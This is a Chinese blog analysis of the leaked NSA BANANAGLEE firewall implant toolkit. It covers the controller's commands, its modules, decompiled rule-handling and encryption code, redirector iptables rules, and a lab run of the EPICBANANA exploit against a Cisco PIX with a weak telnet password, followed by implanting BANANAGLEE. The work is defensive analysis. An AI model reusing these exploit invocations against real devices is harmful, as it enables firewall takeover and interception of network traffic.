NSA方程式组织BANANAGLEE工具集分析

作者:天择实验室wuhj@jowto.com
转载请注明出处:http://blog.jowto.com

前段时间黑客团伙“The Shadow Brokers”入侵了美国国家安全局(NSA)旗下的“Equation Group”(方程式组织),并将他们从该黑客组织的计算机系统中所获取到的部分黑客工具泄漏在了互联网上。

这其中包含了一个叫做BANANAGLEE的工具集,它是一个用于植入CISCO ASA和PIX系列设备的非持续控制工具集合(只驻留于内存中,重启后失效),目的是在获取防火墙权限后,能够实现对设备的控制。其中不同的模块用来完成特定的任务,例如流量重定向、流量捕获等。现对其中几个重点模块进行分析。

LP

LP是Listening Post的缩写(在EGBL_AND_BLATSTING.txt等多篇文档中提到了这个名字),它是整个BANANAGLEE工具集的总控制程序,负责连接防火墙、发送控制命令等功能。它的命令行参数用法如下:

Usage for ./lp
--lp Listening Post IP Address
--implant Implant IP Address
--idkey Implant ID Key File
[--lptimeout] Listening Post Timeout Threshold(Optional)
--sport Specify Port to Send Packets From
--dport Specify Port to Send Packets To
[--bsize] Benign payload size(8-512)multiple of 8(Optional, defaults to 512)
[--logdir] Directory to hold the log files created

其中各个参数的功能:

  • –lp 指定控制端的IP地址,通常在工具用法示例中会使用一个叫做NOPEN的工具事先建立tunnel把127.0.0.1重定向到发起攻击的机器IP,因此通常指定127.0.0.1。
  • –implant 被控端防火墙的IP,只有事先植入BANANAGLEE才可使用LP进行控制。
  • –idkey 指定被控端的KEY文件,推测是在生成BANANAGLEE固件的时候指定的,用来进行身份验证。
  • –sport 发包的源端口,可随意指定
  • –dport 目标端口,需在配置BANANAGLEE时指定。

其他参数不是必须的。

在成功连接防火墙之后,LP会进入一个内部命令控制界面,其中可以通过不同的命令选项发送控制命令。

[root@centos32 LP]# ./lp --lp 192.168.200.102 --implant 192.168.200.241 --sport 7541 --dport 23 --idkey /root/fw/Firewal
l/BANANAGLEE/BG2100/Install/JP/temp.key
./lp Version [STD]: 3.1.2 (Built: Jan 9 2012 06:33:29)

############################################
Enter "help" or "?" to see the menu

BG# ?

Session Commands
----------------
1)Open Session with firewall
7)Toggle Logging [currently ON]
8)Display Menu
9)Close Session with firewall
0)Quit Program

Firewall Information
---------------
10)Read Interface Info.(Pix Only)
11)Read Configuration
12)Read Arp Table

Raw API Calls
-------------
20)Read from firewall Memory
21)Malloc Memory on firewall
22)Free Malloc'd Memory on firewall
23)Write to firewall Memory
26)Change the uptime on a PIX

Modules
-------
30)List Uploadable Modules
31)Upload a Module
32)Activate a Module
33)De-Activate a Module
34)Remove Module
36)Get List of Uploaded Modules
38)Make All Active Modules Persistent
39)Remove Persistent Module Data

BG#

其中的主要命令包括四大类:

会话命令:

  • 开启会话
  • 日志记录
  • 显示菜单
  • 关闭会话
  • 退出LP

获取防火墙信息命令:

  • 接口信息(等同show interface命令)
  • 配置信息(等同show running-config命令)
  • ARP表(等同show arp命令)

内存操作命令:

  • 读取防火墙OS任意地址内存
  • 分配内存
  • 释放内存
  • 写任意地址内存
  • 修改启动时间(通过修改系统内存实现)

模块管理命令:

  • 显示可上传模块
  • 上传指定模块
  • 激活指定模块
  • 禁用指定模块
  • 删除指定模块
  • 显示已上传模块
  • 持久化模块
  • 删除持久化模块

由于防火墙系统的FLASH容量和内存都不像操作系统那样宽裕,所以BANANAGLEE被设计为一个模块化的工具集,其中大部分功能都以模块的形式存在,在需要是才加载,用完即可卸载,以节省内存。下面介绍一下其中的主要模块。

模块存放于Modules目录下,目前泄露的BANANAGLEE版本中只有PIX和ASA系统的相关模块。以PIX模块为例,模块的命名方式是模块名-版本.exe(bin|mod)三种文件,其中exe是在控制端文件,.exe.bin是上传并加载到防火墙的模块文件,mod是模块说明配置文件。

其中主要的模块包括:
BCANDY
控制台管理模块,支持开启、关闭、激活控制台等功能
BPICKER
持久化安装模块,因为BANANAGLEE是一个非持久化的控制程序,只存在于内存中,当防火墙系统重启后就会失效,因此有个专门的模块用于持久化BANANAGLEE,这个模块的功能和另一个工具JETPLOW类似。
BPIE
用于过滤和导出特定流量的模块,在防火墙的控制中最重要的就是获取想要的网络流量,但是又不能捕获全部流量,一方面数据量太大无法存放,另一方面也不利于分析。因此有一个专门的模块用于对流量进行过滤,只获取想要的流量。
BBANJO
Beacon相关模块,暂时还不知道此模块的作用,猜测是和无线相关的功能。
BMASSACRE
网络数据相关模块,可以用来创建和管理VPN隧道、数据包重定向,管理端口地址转换PAT规则(Port Address Translation)。这么模块是所有模块当中最重要的一个核心模块。
BPATROL
数据包捕获模块,用于根据过滤规则进行抓包。
BFLEA
FLASH管理模块,用于读写防火墙的FLASH存储器,可能是由于稳定性问题在后期版本中已删除。
BBALL
BIOS管理模块,用于读写防火墙的BIOS,可能是由于稳定性问题在后期版本中已删除。
BUSURPER
升级管理模块,用于升级BANANAGLEE。

BANANAGLEE几乎所有功能都是以模块形式实现的,LP目录下的所有可执行程序和脚本基本上也都是针对不同模块的通信和管理工具。

pd_miniprog-3110分析

pd_miniprog-3110用于发送包过滤规则到防火墙上的BMASSACRE模块,它会被pd_start_pat.pl-3110和bg_redirect.pl-3110等程序所调用。

pd_start_pat.pl-3110是用于端口地址转换(PAT)的管理工具,对应的BANANAGLEE模块是BMASSACRE模块。

pd_miniprog-3110是发送接收命令的主程序,而pd_start_pat.pl-3110是用户执行操作的程序,pd_start_pat.pl-3110会调用pd_miniprog-3110来发送接收命令,用户只需执行pd_start_pat.pl-3110即可。

pd_start_pat.pl-3110是一个perl脚本,它的用法如下:

Usage: pd_start_pat.pl --lp <LP ip> --implant <Impant ip> --idkey <Implant key file>
[--lptimeout <lp timeout>] [--bsize <benign size>] --cmd <command number>
--attack_ip <attack_ip> --intermediate_ip <intermediate_ip>
--attack_int <interface> --target_int <interface> --port_offset <port offset>
--trans_timeout <timeout> --pat_timeout <seconds> --attack_port <port>
--target_port <port> [--logdir <logdir>]

--lp <LP ip>
IP Address of the LP box

--implant <Impant ip>
IP Address of the Implanted box

--idkey <Implant key file>
File containing key information for the implant

[--lptimeout <lp timeout>]
The amount of time (in seconds) the LP should wait for a response

[--bsize <benign size>]
(Optional) The max packet size for packets traveling between the LP and implant

--cmd <command number>
The command number of the PD_addRuleHandler in hex

--intermediate_ip <ip>
IP address of the intermediate machine

[--orig_dest_ip <ip>]
IP address of the original destination IP for packets coming from the target

--attack_ip <ip>
IP address of the attack machine

--attack_int <ip>
Number of the interface that the attack machine is connected to

--attack_port <ip>
Port to tunnel to on the target machine

--target_int <ip>
Number of the interface that the target machine is connected to

--port_offset <port>
First port to use when building the tranlations

--trans_timeout <port>
Timeout for individual entries in the translation table

--pat_timeout <seconds>
Overall timeout for the PAT action

[--logdir <logdir>]
(Optional) Directory to store log files in (defaults to .)

pd_start_pat.pl-3110首先会根据用户输入的参数生成PAT规则文件,这个规则文件是一个Berkley Packet Filter格式文件,其中包括了要目标IP地址和端口、攻击者IP地址和端口、中间人IP地址和端口、网卡号等内容,在程序最后会把参数传入并调用pd_miniprog-3110:

$pd_mini = sprintf(
"./pd_miniprog-3110 --lp %s --implant %s --idkey %s --sport %s --dport %s ",
$opt_lp, $opt_implant, $opt_idkey, $opt_sport, $opt_dport, );

if ( defined($opt_lptimeout) ) {
$pd_mini = sprintf( "%s --lptimeout %s", $pd_mini, $opt_lptimeout );
}

if ( defined($opt_bsize) ) {
$pd_mini = sprintf( "%s --bsize %s", $pd_mini, $opt_bsize );
}

if ( defined($opt_logdir) ) {
$pd_mini = sprintf( "%s --logdir %s", $pd_mini, $opt_logdir );
}

print "$pd_mini --cmd $opt_cmd --name add_rule --arg $pat_filt_filename\n";
system("$pd_mini --cmd $opt_cmd --name add_rule --arg $pat_filt_filename");

pd_miniprog-3110负责把命令和过滤规则发送到被控防火墙上的BANANAGLEE,然后交给BMASSACRE模块处理。BMASSACRE模块的PD_addRuleHandler函数负责添加包过滤规则:

int __cdecl PD_addRuleHandler(int a1, unsigned int a2)
{
unsigned __int8 v2; // cl@1
int result; // eax@2
int v4; // eax@3
int v5; // eax@3
unsigned __int8 v6; // al@4

v2 = 0;
if ( (a2 <= 7 | a1 == 0) & 1
|| (*(_DWORD *)(a1 + 4) = reverse4(*(_DWORD *)(a1 + 4)),
v4 = reverse4(*(_DWORD *)a1),
*(_DWORD *)a1 = v4,
v5 = deserializeDroprule(*(_DWORD *)(a1 + 4), v4),
v2 = 0,
!v5) )
{
result = (*(int (__cdecl **)(_DWORD))(**(_DWORD **)OS_VER + 84))(v2);
}
else
{
v6 = PD_addRule(v5);
result = (*(int (__cdecl **)(_DWORD))(**(_DWORD **)OS_VER + 84))(v6);
}
return result;
}

PD_addRuleHandler首先调用deserializeDroprule把规则处理成二进制格式,然后调用PD_addRule把二进制规则添加进内部链表中。这样每次数据包到达防火墙时会首先进入BANANAGLEE进行处理,BANANAGLEE根据过滤规则进行过滤后再交还防火墙处理。

bg_redirector-3110分析

bg_redirector-3110是用于流量重定向和加密的工具,它会被start_redirector.pl-3110和stop_redirector.sh-3110调用。它同样要和防火墙上BANANAGLEE的BMASSACRE模块协同工作。

其中start_redirector.pl-3110是一个perl脚本,作用与pd_start_pat.pl-3110类似,负责接收用户输入的命令并生成PCAP过滤规则文件(Berkley Packet Filter格式),然后调用pd_miniprog-3110把规则上传到防火墙上BANANAGLEE的BMASSACRE模块。其中需要用到一个参数–enc_key来指定加密用的key文件,这个key文件可以由同目录下的另一个可执行程序keygen-3110来生成。其中数据流加密使用了RC6加密算法。start_redirector.pl最后会调用bg_redirect.pl-3110在本地进行流量的转发。bg_redirect.pl-3110在本机执行了2条iptables规则:

/sbin/iptables -I OUTPUT 1 -s $opt_orig_src_ip -d $opt_clr_tunnel_ip -p $opt_proto -j QUEUE
/sbin/iptables -t mangle -I PREROUTING 1 -s $opt_orig_src_ip -d $opt_clr_tunnel_ip -p $opt_proto -j QUEUE

把转发过来的数据放进mangle表,然后调用bg_redirector-3110对数据进行加解密,其中仍然需要用到最初加密的enc_key。经过逆向分析发现bg_redirector-3110在本地监听对应端口后,会调用ET_encryptClearPacket和ET_decryptEncryptedPacket对数据进行加解密,其中的加密算法如下:

int __cdecl ET_encryptClearPacket(int a1, int a2, __int16 a3, __int16 a4, int a5, int a6)
{
int v6; // edx@1
int v7; // eax@6
int v8; // ST2C_4@7
int v9; // eax@7
__int16 v10; // ax@7
int v11; // esi@7
int v13; // [sp+28h] [bp-64h]@4
int v14; // [sp+50h] [bp-3Ch]@6
int v15; // [sp+54h] [bp-38h]@7

v6 = 0;
if ( a1 )
{
if ( a2 )
{
if ( *(_DWORD *)(a1 + 4) )
{
v13 = *(_DWORD *)a1;
if ( *(_DWORD *)a1 )
{
if ( *(_DWORD *)a1 <= 0x20Eu )
{
memset(&v14, 0, 0x14u);
*(_DWORD *)a2 = v13 + 22;
v7 = malloc(v13 + 22);
*(_DWORD *)(a2 + 4) = v7;
v6 = 0;
if ( v7 )
{
memcpy(v7 + 22, *(_DWORD *)(a1 + 4), *(_DWORD *)a1);
v8 = *(_DWORD *)(a2 + 4);
*(_DWORD *)(v8 + 12) = reverse4(-557122643);
*(_WORD *)(v8 + 16) = a3;
*(_DWORD *)v8 = a5;
*(_WORD *)(v8 + 18) = a4;
v9 = *(_DWORD *)a1;
*(_WORD *)(v8 + 20) = *(_DWORD *)a1;
v10 = reverse2(v9);
v11 = *(_DWORD *)a1 + 10;
*(_WORD *)(v8 + 20) = v10;
SHA1(v8 + 12, v11, &v14);
*(_DWORD *)(v8 + 4) = v14;
*(_DWORD *)(v8 + 8) = v15;
rc6_encrypt(v8 + 12, v8 + 12, v11, a6, v8 + 4);
v6 = a2;
}
}
}
}
}
}
return v6;
}

可以看出其中先使用SHA1对密钥加密,然后再使用RC6对数据进行加密。
最后当重定向加解密工作结束后,用户可以调用stop_redirector.sh-3110来杀死bg_redirector-3110进程。
整个加密重定向的工作流程如下:

 image002

BANANAGLEE的植入

BANANAGLEE只是一个非持久化的控制工具,它需要通过漏洞等方法远程植入到防火墙系统当中。在已泄露的工具当中有EPBA这个EXPLOIT可用来植入BANANAGLEE。

EPBA通过telnet或ssh弱口令进行植入,它的具体用法是通过命令行指定目标IP、目标防火墙版本、协议(telnet或ssh)、端口、登录用户名和口令、目标系统FLASH容量(PIX系统专用)。目前支持的版本有ASA 711-832和PIX 711-804,具体攻击过程如下:

[root@centos32 EPICBANANA]# python ./epicbanana_2.1.0.1.py -t 192.168.200.241 --proto=telnet --password 12345678 --target_vers=pix721 --mem=128M -p 23
===========================
EPICBANANA (v2.1.0.1) beginning...
target: 192.168.200.241
target_vers: pix721
memory size: 128M
payload: BM
protocol: telnet (port 23)
send delay: 1.0
response timeout: 20.0
credentials: username = pix / password = 12345678
verbose mode ON
===========================
building versions files for memory 128M, payload BM, and version pix721
make clean
rm -f *.o *_assembler *_loader.py *_loader.s *.pyc highmem.s
make 128M
cp highmem_128M.s highmem.s
make pix721 PAYLOAD=128M_BM
./payload_merge.py pix721_skeleton.s pix721_128M_BM_payload.epba

pix721_skeleton.s + highmem.s + pix721_128M_BM_payload.epba = pix721_loader.s

as --32 -o pix721_loader.o pix721_loader.s
gcc -m32 -c -o assembler.o assembler.c
as --32 -o util.o util.s
gcc -m32 -o pix721_assembler assembler.o util.o pix721_loader.o
./pix721_assembler
creating file pix721_loader.py
forbidden bytes found in encoded block[1], try again
forbidden bytes found in encoded block[1], try again
forbidden bytes found in encoded block[1], try again
forbidden bytes found in encoded block[1], try again
mask bytes: b1:36; b2:30; b3:6e; b4:63; b5:23; b6:db; b7:41; b8:aa; b9:3e; b10:82; b11:b1; b12:34; b13:7b;
cksums: b2:90; b3:b3; b4:a8; b5:e6; b6:46; b7:b5; b8:61; b9:1b; b10:28; b11:e0; b12:90; b13:90;
payload prepared
initiating telnet
***

User Access Verification

Password:
***
received password prompt, sending
***

Type help or '?' for a list of available commands.
pixfirewall>
***
received prompt, we're in
sending payload
sending command 1/15, len 833
received expected error msg, still alive
sending command 2/15, len 525
received expected error msg, still alive
sending command 3/15, len 759
received expected error msg, still alive
sending command 4/15, len 993
received expected error msg, still alive
sending command 5/15, len 993
received expected error msg, still alive
sending command 6/15, len 993
received expected error msg, still alive
sending command 7/15, len 993
received expected error msg, still alive
sending command 8/15, len 993
received expected error msg, still alive
sending command 9/15, len 993
received expected error msg, still alive
sending command 10/15, len 993
received expected error msg, still alive
sending command 11/15, len 993
received expected error msg, still alive
sending command 12/15, len 569
received expected error msg, still alive
sending command 13/15, len 3
received expected error msg, still alive
sending command 14/15, len 3
received expected error msg, still alive
sending command 15/15, len 9
received expected error msg, still alive
payload sent
waiting for response from target
no status returned from target, could be an exploit failure, or this is a version where we don't expect a status return

这里针对PIX7.2.1进行虽然最后显示攻击有可能失败了,但是实际却已经植入成功。接下来可以使用BANANAGLEE下的bride-1120工具进行连接。

[root@centos32 LP]# ./bride-1120 --lp 192.168.200.102 --implant 192.168.200.241 --sport 7541 --dport 23
The source port is: 7541
The destination port is: 23
The local IP address is: 192.168.200.102
Using DAT file from directory ../../Dats/.

./bride-1120 Version [STD]: 1.1.2 (Built: Feb 27 2013 13:26:38)

Session Commands
----------------
1) Open Session with firewall
8) Display Menu
0) Quit Program

BANAL RIDE# 1
Session opened with firewall.
D-H Key: 75a31fc2f3330b97b94d436d4fc86489

BANAL RIDE# 8

Session Commands
----------------
4) Remove BANALMONKEY
5) Remove BANANAGLEE
8) Display Menu
9) Close Session with firewall
0) Quit Program

Raw API Calls
-------------
20) Read from firewall Memory
21) Malloc Memory on firewall
22) Free Malloc'd Memory on firewall
23) Write to firewall Memory
24) Get version of Firewall OS

BananaGlee
-------------
30) Write BananaGlee to Memory

BANAL RIDE# 24
###################
# Firewall OS version
# OS VERSION: 7.2(1)

这里可以看到打开与防火墙的会话后,就能够获取防火墙信息、读写内存、和植入BANANAGLEE。

 

Posted on 十月 17, 2016 at 下午4:18 by admin · Permalink
In: 未分类

友情链接